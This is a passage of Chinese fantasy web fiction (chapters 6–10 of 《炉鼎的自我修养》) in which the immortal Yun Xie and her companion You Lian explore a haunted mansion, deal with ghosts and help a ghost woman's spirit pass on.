云歇玩过一些,熟稔于心,顺着扳指看到他脸上的笃定神情。 按她自己找了半个晚上的进程来看,继续闷头找,多半也是白费功夫。而这人都这么说了,又找不到第二个人求证,那就当是吧,何必为难人又为难自己。 想及此,云歇将指路图纸慢条斯理叠起。这张纸虽然没什么用,到底在她忍无可忍要撕碎时发挥出一点用,后面还能拿着去找眉是青算账。她画图的功夫,就跟脸上那两条眉毛一样拙劣。 心神转回当下,周遭死寂,丈高围墙左右伸进雾里,看不到尽头。灯笼下,约一人宽的暗红木门紧闭,嵌着的单个铜门环雕成狮口,面向二人作张齿咆哮状。 来回打量着,游莲问:“里面住的是仇人,是朋友,还是——” 云歇:“有什么关系?” “关系嘛,关系到用什么样的方式进去。”游莲看一眼云歇脸色,“看起来像仇人。” “差不多。” “差多少?” 云歇不说话了。 游莲撞上她目光,略略垂眼:“那我换个问法,你要寻的这位,是男是女,年方几岁,长相如何?” 很遗憾,这些,云歇都不清楚,便如实答:“不知道。” “有趣。”游莲说,“你追到这里,我还以为是什么深仇大恨,原来竟连面都没见过吗?能否告诉我,这位是怎么得罪你了呢?” 没什么好瞒的,云歇便答:“偷了我的灵药。” 游莲了然:“定当是极其珍贵的灵药了。” “一枚还魂丹。可救濒死却命不该绝之人。” “当真极其珍贵。” “不,”云歇说,“相反,这灵药我库中堆着成千上万,灵气不算纯粹,也并非万里挑一。” 游莲接:“那为何?” “灵药事小,面子事大。”云歇眼底含霜,道,“在我的地盘偷窃却能全身而退,若是让此等谣言传扬出去,岂非人人都要来我头顶踩上两脚?” “此言不虚,醍醐灌顶。”游莲点头,又摇头,“你追到这里,证明那人确实是全身而退了,怎能说是谣言?” 这话不好听,甚至刺耳,云歇睨他:“我要让它变作谣言。” 游莲完全听明白了,看向窄门:“要杀进去吗?” 方才还杀气腾腾的人却摇头道:“夜深人静,打打杀杀的,未免太过扰民。” 游莲抬眼望隔条街的那头,几堵高墙也压不住鬼叫,再远一些,还有更吵闹的声响隐约传过来。他深以为然地点头:“是该安静一些,要不,试一试我的法子?” 云歇便看他如何。 游莲上前几步,抬起狮口铜环—— 铛。铛。铛。 铜环敲击门板,撞击声沉沉传出很远。 云歇:“……” 叩门的那厮还回头邀功般说:“这法子不错吧。” 云歇突然好想叹气,无可奈何,只能疏解心头莫名涌上的郁气。但是她太久太久没有做过这个动作,一时被梗得不上不下:“你在指望什么东西来 6. 诡宅(1) 《炉鼎的自我修养》全本免费阅读 云歇没理会对方伸来的手,走进门后。 她欢迎,任何向她打开的陷阱。 门后小路一黑到底,没点灯的立柱宛若一只只鬼影站在两旁。远近有楼阁屋舍深深浅浅的轮廓,领路的中年男人像是能夜视,走得比路还直。倏尔,一团光打亮。 云歇转头,青年不知从哪儿捡了段树枝穿过吊钩提灯笼,他正收起点蜡烛的火折子,迎上她的目光,说:“东西留着还是有些用的。” 这点光在铺天盖地的黑暗中犹如石子落湖,可有可无,堪堪照出地上并肩而行的两道影子。一晃,又照出前头沉默的人影。男人背对二人往前带路,安静得出奇,像是刚刚在门口的争论没发生过。 太安静,只有脚步落地和呼吸声,渐渐地,又听见另一种微不可察的声音混在其中。 嚓,嚓,嚓。 游莲跟人搭话,拍额懊恼道:“瞧我这记性,昨晚住的院子在哪儿都忘记了。” 前面人头也不回地重复:“忘记了?” “对。”游莲说,“劳烦大哥带一下路,就去招待客人的院子。” 竟没再遭到怀疑,被领着拐了得有十八个弯,偏僻得很。不像迎客,像赶老鼠。到了地方,游莲道谢关门一气呵成。啪,外面直愣愣的人影同黑夜全数被拦在门外。 屋内只剩二人,和一盏幽幽亮光的红灯笼。 云歇往窗前一靠:“你从哪里知道的陈老爷?” “碰运气。没有陈老爷,总有许小姐王少爷,碰对运气自然好,碰不对,只要他一反驳我,我不就碰对了吗?”边说,游莲边提灯笼往周围照。 出乎意料,没有陈旧灰尘扑面。十来步从门口走到隔挡里间的屏风前,屋子不大,摆着桌椅花几之类,角落还有张摇椅。虽然干净,也能看出久无人住,软饰稀少,空旷冷硬。 云歇摸过灯火下的木头棱角,说:“你两句话就改口,胡说八道几句,他竟然还信了。” 游莲说:“是不是很不合理?” “这地方,又有什么是合理的。”云歇想起刚刚没有得到回答的问题,“红联和做客有什么关系?” 灯火转去屏风后,映亮屏风上绣的墨山青松,里面四处查看的人闻言道:“黑底挽联,是做丧事时用来迎亡魂。红底喜联,多被人赋予来年丰顺的意头,迎神也迎客。可不就是迎我们来做客吗?”停了停,“这屋子连个枕头被子都没有,硬邦邦怎么睡?真是没有半点待客的道理。” 云歇推开条窗缝看外头,不冷不热地轻嗤:“胡说八道。” 胡说八道的人从屏风后绕出来,满面坦然:“管他呢,忙了一天,我只想找张床睡觉。至于寻仇报仇什么的,不如我们等明天天亮再说?” 窗缝一线光划上云歇眉眼:“我们?” “如你所见。”游莲将灯笼搁去屋中的桌子上,“目前我们的的确确站在同一片屋檐下,诡异蹊跷之处太多,单枪匹马力有不逮,不如就——” 云歇没给他说下去的机会:“不需要。” “需要的。”被拒绝的人毫无意外之色,不败不馁,“像今晚一样,探路,问话,善后,这些琐碎又麻烦的小事,你嫌弃得不得了,却无论如何也避免不了。既无法避免,总该有人为你鞍前马后。” “想为我效劳的人,多的是。” “原来是我眼拙,竟然没瞧见你身边跟着这么多能效劳的。”说着,游莲向两旁空气作揖,“是这一位,还是这一位?藏着不露脸,是怕吓到我吗?” 场面滑稽,云歇忍耐地闭上眼,道:“他们走得慢。” “原来是还没到。”游莲往窗边走一步,穿过窗洞的微光织上他衣裳,“耽搁这么久,能不能办事妥帖尚且不说。若是明天还到不了,岂不是仍要连累你操劳?” 话落,黑夜里有什么东西崩紧了,崩到亟待断裂还未断裂,便有了悬于钢丝上屏息一般的寂静。云歇索性彻底推开窗,任外头破云而下的月光洒进。 她转身坐上摇椅,声音没什么情绪:“你觉得你很了解我?” 这张摇椅不破不旧,木漆味残余,摇起来没有吵闹的吱嘎声。长长的发尾与黑袍下摆落地,蛇一样盘在她脚边,任月光曝晒。 游莲走近摇椅旁,近到脚尖前三寸是那片黑色涟漪。与冷漠颜色大相径庭的柔软质地,让人十分想上手摸一摸,触感是否跟看到的一样。 他别开目光,说:“不如说我在找处能遮风挡雨的庇护所。这地方随便出现个东西就能撕了我,双拳难敌四脚,我惜命得很。” “是他们撕了你,还是你撕了他们?” 微微一停,游莲表情空白,很快反应过来:“你看到了?” “杀戮者死于杀戮,也算善终。”云歇脸色平淡,“手尾处理得不干净,想看不到都难。你既有这本事,和你口口声声说的惜命挨不上边。” “你不信我。”游莲一顿,“也是,我们不过只是认识了——今夜,你何必信我。” 云歇指尖敲扶手,没应话。她不应,便给了别人揣度是进是退的分寸。 “你并非不想留下我,对吧?留下我可能带来的隐患,比起前头不知还有多少等着你去处理的麻烦来说,不值一提。”游莲一哂,“还需要问什么,无论什么,只要能让我留下,请尽管问。” 云歇停顿片刻,问:“你是怎么进来这里?” 游莲答:“迷路,误进。” “这么巧。” “这条路打通数年,是往西北戍卫军互商钱货的必经之路,商队白天赶路晚上休息,说起沙漠深处的秘闻。偏生我不信邪,于是——” 云歇对谎言不屑一顾。 尤其人心藏匿皮囊之下,蒙耳障目,构成谎言的引子在其中千回百转,比通天路还曲折崎岖。何必费工夫去猜,猜来猜去都是假象。何况从这一双眼睛里,云歇确实瞧见了坦然诚恳。 片刻对视,很快,对方低头错开视线。他似乎看着地上的月光影子发起怔,直到影子主人因过久的沉默,瞥他一眼。 “弄脏了。”他说。 云歇顺着他目光瞧去,自己赤足踩上袍尾的脚背,沾了一点黑泥。 按她一路走来见水涉水见土踩土,双脚早该脏得不像话。但凡尘俗物近不了她身,这点子黑泥应是不慎沾上的鬼气怨气之类。鬼气怨气在不渡域飘来荡去,比别处浓上数倍不止,不小心踩到也是正常。没注意到还好,一下看见,云歇眉心皱起。 “地方脏,穿双鞋子会好些。”说话人从袖口掏出一方帕子,单膝落地伸出手,似乎要帮云歇擦掉脚背污秽。到底及时反应过来,在云歇察觉异常之前,帕子转向被递到她眼下。 帕子同他身上衣裳一般颜色,雪白雪白,月光斜到他手腕落下瘦削的影。 很明显,他拿这条白帕子当作示好的一则。 云歇瞥过白帕子和他的手,无动于衷:“你好吵。” 对方不明所以,下意识低了声:“怎么?” 云歇伸手,略过举到近前的帕子,两指径直搭上他手腕里侧。轻得不能再轻,停在那截蛰伏筋脉的皮肉上,一按。 连体温都没来得及传过去,对方想起来躲避前,她已经收回手。 这下动作平常,绝算不上快,大把时间足够对方缩回 7. 诡宅(2) 《炉鼎的自我修养》全本免费阅读 隔天,口口声声说要为她鞍前马后的家伙睡到日上三竿,起床就说他饿了。 云歇闻声抬头。阳光撞在他背后,拓出身形与侧脸轮廓,俱是锐不可当。鸦黑鬓角湿漉漉,水线蜿蜒到下颌尖往下滴珠子。 水是在院子大缸里找到的。哪来的水、放了多久、干不干净这些浑不计较,他自顾勺出一瓢,就着阳光用手掌舀水往脸上搓。 云歇坐在窗前看。 倒不是故意看的,只怪院子太窄,一览无余。阳光灿烂,碎了他满掌心,从掌沿溢出、从指缝渗下来,滴滴答答溅了一地。 人洗漱完带着满身潮气回来,找云歇要昨晚借出去的帕子。 那条帕子动都没动过,还搁在扶手上晾着。游莲捡起来,折几折往脸上擦水,浑然忘了昨晚刚借给人擦脚。 迎上云歇目光,他重复道:“我饿了。” 云歇只觉莫名其妙:“关我什么事。” “工欲善其事,必先利其器。想要马儿跑,就得先给马儿吃草。吃饱干活,天经地义。”说到这里,游莲懒散神情一收,“难道你不给我管饭吗,当家的?” “当家的?” “顾名思义,就是屋子主人的意思,屋里其他人都要听你说话做事。现在这片屋檐下,可不就是我要听你的吩咐。”游莲解释着,好声好气,有商有量,“你要是不喜欢,我还可以叫你老板,头领……听来听去,还是当家的顺耳一些,你觉得呢?” 听一句,云歇眉心皱一点:“我没跟你计较浪费一早上时间,你先跟我讨上饭了。你连枕头被子都带了,就没给自己带点饭什么的吗?” 游莲很是真诚道:“还真没有,只能来找当家的讨饭吃。” 满脸理所当然,看着不大的脸怎会长了那么厚的皮。从昨夜到现在,云歇想叹气的次数比近百年加起来都多。 她抬手揉眉头,道:“我没有饭给你吃,你自己去外面讨。” 闻言,游莲侧了侧脸,看向她。 他坐去桌边木椅,日光披了半身,这么一侧,鼻脊阴影盖上右眼。云歇忽然发现,他的眼瞳色似乎比常人浅一些。 黑天暗火里瞧不出来,此时日光一浸,琉璃珠似的。 抠出来搁去眉是青那座宝塔上摆,应也是里头一等一的上流货色。 琉璃珠的主人不知道人在心里夸他,他手支腮,懒洋洋说:“这种有失体面的事情,不好做的。” “搁我面前讨饭你怎么不说体面?” “怎么能一样。”游莲朝云歇轻眨了下眼,“你可是我当家的。” 秋波打了个小旋儿,撞上云歇周身铜墙铁壁,徒劳地成了飞烟。 云歇正要开口,目光一定,落去他左眼:“你的眼睛下面……” 被问的人头一歪:“嗯?” 反应过来,他抬手,掌心虚掩其上:“你说这个啊……” 一条极细极细的红线,横过他左眼下方。细到,昨夜他月下仰看她时,会藏进密密的睫毛阴影里。 像是曾经将这张完好无暇的脸皮撕裂,愈合后,经年累月,成了这么一线微不可见的痕迹。 都愈合了,还留有痕迹,可见伤口有多深。 但细看又不像。红线周围皮肉紧致平滑,半点虬结凹凸都没有。不像伤痕,倒像是用最细的一杆毛笔最细的一点毫尖,挑了朱砂画上去的。 果然,他道:“从小就有的,胎记。” 仿佛发现什么有趣的东西,游莲倾身问:“你的眼力也很好吗?一般人这个距离可瞧不清。” 云歇没应话,眉目冷清看他一眼,转去窗外。对方久没等到回应,脸上笑意不变,起身东走西翻,又跑到院里浇草去了。 几根到他小腿高的草,从干裂沙地钻出来的,枯得发黄,腰脊被水流压得更弯,弯得活不过这个夏天。 跟遍布院里灰蒙蒙的颓靡一样,生机全被盘踞此处的妖鬼吸了个干净。这样一来,显得披身阳光走在其中的那人格外刺眼。 很快,随着他的脚步,地面洒下几滩细碎粼粼的阳光。 云歇看着看着,没来由的,抬手摸了摸眼睛。 她对自己方才注意到那样一点小事情,感到莫名。被人问了,不知应什么,干脆不应。这么一抬手摸,她又想,摸什么?更是莫名。没等手放下,面前忽然罩下片黑影。 那厮站在窗外冲她挥着水瓢:“当家的,饭呢?” 当家的忍无可忍,把他赶出门去讨饭。 —— 云歇站在窗前,看人跨出门槛,转身合门。视野抬高越过墙头,一落,刚好踩上那片流光溢彩的云肩。 院外是一条鹅卵石小径,细细长长,弯弯曲曲,被两旁丛木夹着伸远。 踩着的人走路很稳,视野不怎么颠簸。只偶尔,总要被风掀起的一两缕长发打扰。 沿鹅卵石径走出一段,绕过几座亭子,还是半个人影没见着。云歇都疑心这里荒了,踩着的这人仍是悠哉悠哉。 终于,拐个弯,有位头扎双髻的姑娘背朝这边在浇花。 “请问——”走近前,姑娘应声回过身。 云歇踩着的高度,正正好与空洞洞的一双眼对上。空洞洞的,映不出人影亮光,像是谁拿木炭棍囫囵涂出瞳仁。 涂着这样一对瞳仁的面孔,表情却很丰富。就例如,在陌生人问起哪里可以吃饭时,她适时做出瞠目的吃惊表情。 ……云歇也很吃惊。 这厮真就是来讨饭的。 等到这厮开始点菜,云歇听不下去了,从云肩上撤下时,还被上头凸起的绣线绊了下脚。顺着弯曲的鹅卵石径原路返回,回到院前,顺手将这段灵识丢去门环。 一刻钟后,系在院门环上的灵识轻轻一响。 人回来了。 云歇睁眼吐出长息,放下腿往背后靠去,停滞许久的摇椅霎时一动,缓缓慢慢前后摇。 推门而入的人两手空空,云歇隔窗看他:“饭呢?” “在后头。”游莲合门,返身冲她笑,“他们说难得来客人,要好好招待我们。” 真的讨到饭了。 云歇:“你昨天瞎说的那些话竟然还没被拆穿?” “可不是。”游莲一步一阶踩进门来,“要不要听听我出去一趟除了讨饭,还问到什么事?” 云歇在迎头罩下的影子里看他。 这人一贯会自问自答:“这座宅子是崔家,有崔老爷,崔夫人,崔小姐。崔老爷出远门做生意了,明天才回来,崔夫人在家,崔小姐体弱多病,很少出门。”说到这里,他语声一转,“是不是很稀奇,竟然真有在这地方安家落户的,家里几口人姓甚名谁,都搜罗个齐全。” 云歇沉吟:“鬼魂对生前事有执念,或者不知道自己已经死了,会忽视蹊跷自圆其说,正常。” 游莲点头:“这样一说的确没什么稀奇。奇就奇在我一路过去问了四五个人,个个都是这一套说词。崔老爷出远门做生意,崔夫人在家,崔小姐体弱多病不出门。一字不多,一字不少。” 四五个人。人?指的是扎双髻的姑娘,和昨天开门的男人,类似的,人? 云歇心念一转,抬起眼,目光 8. 诡宅(3) 《炉鼎的自我修养》全本免费阅读 蜃楼今天做的仍是打苍蝇的生意。 二楼铁马撞响时,阿笙正站窗边咿咿呀呀吊嗓,瞧见推门进来的客人,吓得喉咙一呛,飘上楼咳去了。 眉是青就着日光拨算盘,抬头看到云歇,再看到她身后跟来的,一张阔得不知米油几钱的脸,眼前一亮,问:“这位是?” 云歇:“不认识。” 游莲:“这是我家当家的。” 眉是青摸摸自己精心描绘的眉尾,决定不去理清这层复杂关系,与云歇挑笑说:“贵客临门,蓬荜生辉,有什么可以为客人效劳?” 云歇于是问:“有鸡卖吗?” 圆滚滚算珠在手指间拨得眼花缭乱,骤然一停,眉是青有些迟疑地重复道:“鸡?” “没错。”云歇想了想,觉得不好这样为难人家,说,“鱼也行,鸭也行。”瞥一眼后面的游莲,加一句:“人能吃进肚子里,毒不死就行。” 眉是青对账拨下算盘最后一颗珠子,点点头:“我得去后面找找看。” 起身时忍不住问云歇:“是想养个玩玩?” 云歇反问:“好玩吗?” 眉是青耸肩:“不知道,没养过。但是看你现在养起来似乎有点麻烦。” 岂止是有点。 而且云歇没想养,谁要费这事呢,懒得纠正这点小小语误,随它去了。 楼中最引人注目的,仍是那座宝物堆砌起来的高塔,兀自流转光华。游莲围着转了一圈,边转边赞叹:“真漂亮啊。当家的,能买吗?” 云歇拣了条长凳坐下,好整以暇看他:“你有钱吗?” 游莲心虚。 另一头眉是青提只麻袋出来,拉开束紧的袋口,里面装了一只正正经经的红冠公鸡。贴心地拔毛割喉放干血,鸡闭目走得很安详。 瞧着就新鲜。 游莲道谢接过,掂几下袋子,确定不是又一袋蛆或者石头装模做样的,便扔进芥子戒和里头东西叮呤哐啷堆一起。 经过那样一遭后,他对能亲眼看到原材料感到很安心,问题就来了:“怎么吃?” 眉是青撩一眼他白得出尘的袖子:“见你是个讲究的,洗洗就能吃。” “这可就太新鲜了。”游莲摸摸空空如也的两袖,抬头找云歇,“当家的,你带钱了吗?” 云歇从袖里摸出枚金元宝磕上桌,语气不善盯他:“你到底带了些什么东西。” 眉是青也想问:如今这世道是怎么了,怎么这两天登她楼门的,尽是些金玉其外,一穷二白的。 游莲无辜道:“都说我走迷路了,哪知道要用上什么东西。” “看来是富家公子哥出来游玩,柴米油盐不用你亲自操劳。”眉是青推回金元宝,“找不开。一只鸡嘛,就当我请的。” 云歇:“后面的你也请了?” 眉是青:“……”您老可真是深谋远虑。 眉是青推开金元宝的手更是果决:“使不得。妖鬼精怪遍地走的地头,抓只正正经经的鸡不容易,要不——” 嗡嗡几声,打断了眉是青的话。 嗡嗡嗡,忽远忽近若即若离,从耳朵旁绕到头顶,云歇眉心一皱。忽而有什么轻飘飘扫过,刮起一阵清风,扫开恼人声音。 游莲理着袖子,就势在云歇旁边坐下。一条长凳,云歇坐中间,他坐她左边,偏要过来挤,刚好不挤。 眉是青拿着小罗扇左右上下挥,高声喊阿笙点草,回头说:“天气一热,加上外头那些贪吃懒鬼天天乱扔剩饭剩菜,沤成脏水。脏水一多,就容易长些闹心玩意。” “还好,各方称王称霸斗个你死我活,有一点倒是达成共识,蚊子不能成精。”眉是青微笑着咬牙切齿,“成一只,我弄死一只。” 楼上下来的阿笙往柜里一掏,掏出把黑中带黄的干草点了,往屋里各个角落边走边熏。 眉是青在渐浓的烟雾里介绍:“别看这草长得丑,驱蚊一把手,往前面就能买到。”她往南边一指,“那里还有其它商铺卖些吃用东西,解决吃食不是问题。” 她手指的地方只有一堵墙镶着窗,看不到是哪个方向。云歇认为,在哪个方向不重要。 倒是游莲摇起头:“那边有人抢钱。” 云歇懒散半合的眼睫一动。 眉是青笃定道:“没错,就是那里,从你被抢钱的地方一直往前走,再过几堵墙就到。” 游莲问:“几堵墙是几堵?” 真正被抢的没出声,听二人来回对着具体地点。 阿笙点第二把草,烟浓又呛,不仅是杀蚊子,像要把屋里能喘气的全都灭个干净。 游莲手一伸,凭空抽出把折扇,唰地展开摇起来。 风丝扇开围近的烟气,撩动云歇掖进耳后的发。她头发长,一坐下,发尾常跟地上泥土掉一块。虽有些膈应,总不能到哪里都有块干干净净的地等着接她,久而久之,云歇就习惯了。 现下风丝一动,云歇余光跟着动,往下一瞥。只见,原本该拖去地上的发尾掉在一片衣摆上,那片衣摆雪白绣着水纹,跟旁边人袖口如出一辙。 眉是青喊停要点第三把草的阿笙:“你做鬼喘不出气,还让不让别人活了?” 不喘气的阿笙老老实实掐灭火。 “能偷能抢的地方,又有金银买卖。”游莲扇子摇啊摇,“实话告诉我,这里其实还在人间吧。” “差不多。”眉是青摸出另一本账簿,颠得算珠哗啦一响,“人死做鬼嘛,最擅长就是念念不忘。多少年了,人间有的这里都有,你就当自己家。” 这话说的,真是让人心头一暖,宾至如归。 才怪。 游莲走出自己家,推门侧身,请云歇先走,错半步跟上。 日头偏西烧红,跟昨日云歇到的时辰差不多,一排排挂在街巷屋檐上的红纸灯笼逐个亮起。 不过今日的楼与街都是崭新模样,仿佛昨日化腐朽为神奇那一幕,只是云歇人生地不熟的一个幻梦。 红灯笼照着青灰地,游莲一步一团光,边逛边看:“没见有人往里面上蜡烛添油,这灯笼怎么亮的?” 云歇没理,只往前走。 云歇不知道答案,也不管他的好奇心。这人眉眼生得静,波澜沉在底下,性子却出乎意料得闹,哪哪都好奇好问。这座城池蹊跷的地方多了去了,要是样样都要找个答案,别的也不用做了。 眉是青说人间有的这里都有,不算错词。 临街起的楼屋很是寻常,有门有窗有匾额。门面阔些的还站着对石狮子,威风横目,口里含珠。误闯进来的人走着走着,就容易迷失。而无论是想推开哪一扇门寻求庇护,都不可能如愿。 离得近些的两间房子外墙一隔屋檐一交,就成了巷。巷比街窄,长些短些区区绕绕,灯火难照进去,黑黢黢不知是通向活路还是死角。 明街暗巷交织成网,脚下随时会踩中收网的陷阱。 天大地大,无路可逃。 “瞧不出这些屋里住没住东西,按我说,就该给每家定好户籍,尤其要写明哪家好客,哪家不好客。这样一来客人不会敲错门,也少些罪孽。”游莲追上两步,倒着走看人,“当家的,你觉得是不是这样?” 云歇目视前方:“户籍是官府登记人口数目,从祖宗十八代追下来,记何时生何时死,也记功勋 9. 诡宅(4) 《炉鼎的自我修养》全本免费阅读 人死身腐亡前世,不走河桥即做鬼。 是人见鬼才说有鬼,还是人信而入轮回,已不可考。 自轮回起,鬼差按生死簿定时定点勾魂索魄,再蹲河桥边捞漏网之鱼。漏网之鱼不常见,做鬼也讲机缘,过河桥的差一个数,都要被那群甩着镣铐当啷响的牛马掘个地皮朝天。 不渡域的鱼,却多到像从天上银河泼下来。 挤啊,挤得慌,下脚都难,一个不慎就要踩到。 瞧。 此刻挤在窄巷中的这滩子泥水,当然也是漏在鬼差镣铐外的一条鱼。死去不多时,撞进这里,被漫天乌漆煞气一浸,吃撑了。撑得忘形。 游莲站在云歇身后,纵观全场。 巨狼轻喷鼻息,火星溅得满巷通红。那火说烫倒看着不烫,红中泛黑,极有规矩,连片墙瓦都不曾灼焦。但你若是因此掉以轻心,伸手去碰,定然要为此付出代价。 谁叫拈着狼尾巴尖的主儿,一瞧就不是个心善的。长着张冷相,突地捧出一副慈悲心肠,说发生了什么事,讲给我听听,评一评道理。 谁信? 游莲替他们看清局势,下了定论:当然要信。不得不信。 强权威压在前,以战平战,势弱者除了听从,哪还有第二条路可以走。 识时务者为俊杰。 果然,话音刚落,惨白鬼脸哇的一声:“他偷了我的东西!我的!”喉舌空荡咬字不清,声音嘶哑,极衬眼前的阴森景。 恶人先告状,滚在泥地里的少年不甘人后,狠啐一口:“你个烂死的老鬼,又脏又臭,谁稀罕偷你东西。” 两边证词对不上。 无妨。 云歇手指一曲,少年手腕脚踝与脖子顷刻一紧,像是被绳子紧紧绑住,却看不见是什么。这桎梏感熟悉得令他发毛,未及挣扎,身体已被悬空拎起,往下狠狠一抖。 那身破衣烂衫藏不住,哗啦啦,东西掉了一地。骨头、布块、枯枝烂叶…… 噔。 一颗金元宝咕噜噜滚出来,混进一地乱七八糟里。 少年急了,张牙舞爪往下抓:“我的东西!” “我的——”另一道鬼哭狼嚎同时响起,鬼脸拖着泥蹚着水扑上去,“我的骨头——” 一截白骨,咕咚咕咚,滚到云歇脚边。鬼脸跟着扑过来,被狼尾巴一甩,滋一声,半张脸烫成了雾气。鬼脸惨嚎,不敢再上前,徒劳趴地,叫声凄厉:“肉呢?上面的肉呢?” 人赃并获,挣扎不休的少年慢慢停下,犹自嘟囔:“屁,肉都烂光了,啃着都嫌费牙,害老子白刨一个晚唔——”云歇弹指封了他的嘴。 “这是——”游莲靠在云歇耳边低声,“刨了人家的坟?” 刨人坟,多缺德。怨不得人家做鬼都不放过他。 看这情形,大概把人刨出来后叼起骨头就跑,现下尸体还晾在风里雨里。人死不得安生,魂魄怎能安心去走河桥,不就被怨气所驱,追着仇人咬嘛。 罪有应得。 鬼脸趴地徘徊半晌,见人拦着骨头不放,觉着又是两个来欺负它的,嘴一张—— 与此同时云歇手指一放,少年砰地脸摔上地,就着狗吃屎的姿势被一路扯到鬼脸近前。云歇说:“跟人家道歉。” 一时间,鬼脸、少年、包括旁边悠哉看戏的游莲都愣了。 少年啃了一嘴土,不敢呸:“凭、凭什么?” 云歇:“不凭什么,你应该的。” 少年支吾不出所以然,鬼脸先嚷嚷开:“一句道歉就完事了?凭什么!他害我追着赶着腿疼这么久,凭什么!” 难为它搁地底下的脑仁都快烂光了,还能想起来为自己据理力争讨个公道。 苦主不愿,云歇好说话得很:“行,那就不道歉了。” 鬼脸一下哑了,安静片刻,五官七窍蓦地扭曲:“不行!他害我追着赶着腿疼这么久连句道歉都没有!凭什么!” “瞧。”云歇低目看少年,“人家要你道歉。” 少年不肯。嘴巴硬,缺颗牙齿漏满嘴风还是硬。 没等亮着后脑勺倔强的少年在地上扣出个一二三四,鬼脸窝在角落约莫是越想越觉得自己凄惨,忍不住放声嚎起来。嚎的什么听不清,带哭音。一边哭嚎一边又怕火烫脸,哭一声顿一下,拖长传得老远。 而后就像应和般,远近鬼哭声隔墙四起。 妖魔鬼怪,本就是阴暗地里肆虐,若无镇压,更是猖獗。到了不渡域这等以邪养邪,以煞聚煞,阴邪到没边的地头,如同草见风,水入海。 今夜若不是云歇赶巧走进巷子,这里一场恶战血溅三尺不是问题。 赶巧吗?想到这里,游莲低头,地上那截白骨忽一摇晃,鬼脸哭声顿止。 就见一丛黑火逼到鬼脸额头正中,仅差一毫就要刺进去,生生扼住哭嚎。 游莲叹:都说是强权咯。 鬼脸对上黑火 10. 诡宅(5) 《炉鼎的自我修养》全本免费阅读 脏水上立起道影子。 算不算是人两说,起码比方才的鬼影顺眼。轮廓虚浅,瞧不清模样岁数,隐约是个着布衣荆钗的女子。 一层白雾做的藩篱,将她与尘世隔开。 她开口,声音褪去鬼气,清亮不少:“我记得我在山上挖草药,那段悬崖好陡好陡,土壤松得扎不紧草根,一直往下滚石子。我一个没抓稳,就——” 云歇摇头:“那段悬崖不高,底下有水潭接你,你当时只是摔断了一条腿而已。” 游莲轻声:“只是,而已。” 云歇瞥了这多嘴的一眼。游莲回以微笑。 鬼魂脱离肉身后尘缘尽断,所有求不得放不下,甘与不甘,皆止于最后一口气散。有些执念深,有些执念浅,也有些要回头望一望,抽丝剥茧地一点点去想。 滞留阳间越久,执念成因越是淡忘,反而是执念铸就的枷锁,越是沉重。解开的时候,格外慢。 “没摔死啊,可真是运气好。”记忆回笼,女子左肩微微一垮,左脚跟着弯曲,站姿不一样了,她想起,“难道是我给将军包扎伤口的时候,遇到刺客,刀朝我脑袋劈下来……怎么是这种死法啊,一定痛死了。”她心有戚戚焉,摸了摸自己的脑袋。 云歇仍是摇头:“刀被你的将军拦住了,没有砍到你。” “也不是?我有这么洪福齐天吗?”女子生前该是个顶顶活泼的性子,声调高来高去,自己一个人也能自问自答,“好像也对。当时,将军的伤口还裂开来着,费了我不少伤药才勉强止住血。鸟不拉屎的地,伤药可难找。” 过往云烟揪出来一团接着一团,女子想起一段说一段,接也接不上。细听,她咬字奇异,与现在人说话有些许不同,仿佛隔着几个衰亡的国号。 云歇沉默听着,游莲跟着她听。 地上少年趴耳不敢动弹。 大抵,人总对自己的来处与归属耿耿于怀,女子更是执着于此。苦思半晌自己到底怎么死的,想到什么,拊掌一拍:“我知道了。” “一定是因为城门破了,敌人杀进来,到处都是火,将军护着我们……”说到这里,她身躯剧烈震颤一下,忽然嗫喏不能言。好一会儿,声若蚊蝇,她怕极了接下来的话,却不得不说,“将军死了。” 她在前面的回忆叙述里,尚且带着旁观者看故事的冷静逗趣,直到这一句。 这一句悲戚之重,重得她腰脊陡然垮塌下去,整个人瞬间矮了数寸,风霜编缠上满头青丝。 许久许久,久到云歇都以为雾里人不再说话,又听见她轻轻叹一声:“将军死了。” 这一声出来,声音已然与先前的清亮大相径庭,暮气沉沉,风霜也磨钝了她的口舌喉腔。 女子一下跨过好长一条时间河,从青春正好的韶华走到暮年,变得垂垂老矣。 临终遗言般絮絮叨叨:“好多人都死了,城里也烧光了,我们逃到东边。脚下的土地几年姓殷,几年又姓李,乱糟糟,糟透了。打仗多,死人也多,晚上睡觉他们睡地下,我就睡地上。我还是埋头挖我的草药,能救一个是一个,但我不想再从什么军,何必呢……就是、就是,几十年过去,我变得这样老,下去阴曹地府,将军还能认得我吗?” “不是几十年。”云歇回答她的物是人非喋喋不休,“三百多年,你死了三百多年。至于你的那位将军,死得更久,想来也投了好几回胎,孟婆汤喝过好几碗,不会记得你,更不会觉得你老。你不用担心。” 云歇说完话,好一会儿,巷里只有风刮过瓦檐的轻响。而那头巨狼,云歇觉得它碍地方,已经收回去了。 寂静中,有人憋了又憋,还是忍不住笑了一声。 云歇转头看人。 游莲拿扇面抵唇,眼眸轻弯:“当家的,你是在安慰人吗?实在有些……咳,别出心裁。” 云歇转回头去。 雾中人懵懵然:“三百多年?有那么久吗,怎么我一点印象都没有?” 这也是云歇理不清楚的地方,按说几百年,足够鬼魂炼成凶煞。但女子身上,除了沾上点煞气外,的确算得上是干干净净。 没有恶念,不知何故,又徘徊不去。可能,很长一段时间里她只是随风飘荡,不知不觉,回到了故乡地。 因为什么,因果如何,牵扯不清的七情六欲,云歇不会断,也懒得断,这是十殿阎罗生死簿上要去算的账。 云歇要做的,是给她选择:“你生前多结善缘,死后不曾做恶事,阎罗殿前功过相抵,不会太为难你。还是,你要继续追着骨头跑,继续待在不渡域里,嗯,玩?” “不渡域是哪儿?”女子茫然抬头望向四周,远远地,看见如剑尖卧指天穹的主城墙,震惊不已,“这里是,船镇?” 好久远的名字。云歇一时不知怎么应,是或不是,好像都不对。 女子很快反应过来,声音越显苍老疲惫:“……城门都破了,到处是火,死的死,走的走,哪还有什么船镇。” 她的悲戚淡了许多。似乎是念念不忘几百年,任是再深重难平,也被匆匆流水消磨得差不多。死前释怀一次,现在又释怀一次。 “三百多年,你舍不得放不下的,都比你先入了轮回。你执着于此没有什么好处,而我可以——”云歇斟酌用词,“超度你。” “超度?”游莲在一旁问,“需要木鱼吗?” 按他的路数,云歇毫不怀疑,要是她点头,他真的能掏个木鱼出来。 而游莲看她,也绝不认为这人是香火缭绕里普度众生的活菩萨。换句话说,弹指间人鬼灰飞烟灭,才适合她周身风范。 怎么就尽来抢佛家道家的活计了呢? 妖魔中何时刮起这样一股歪风? 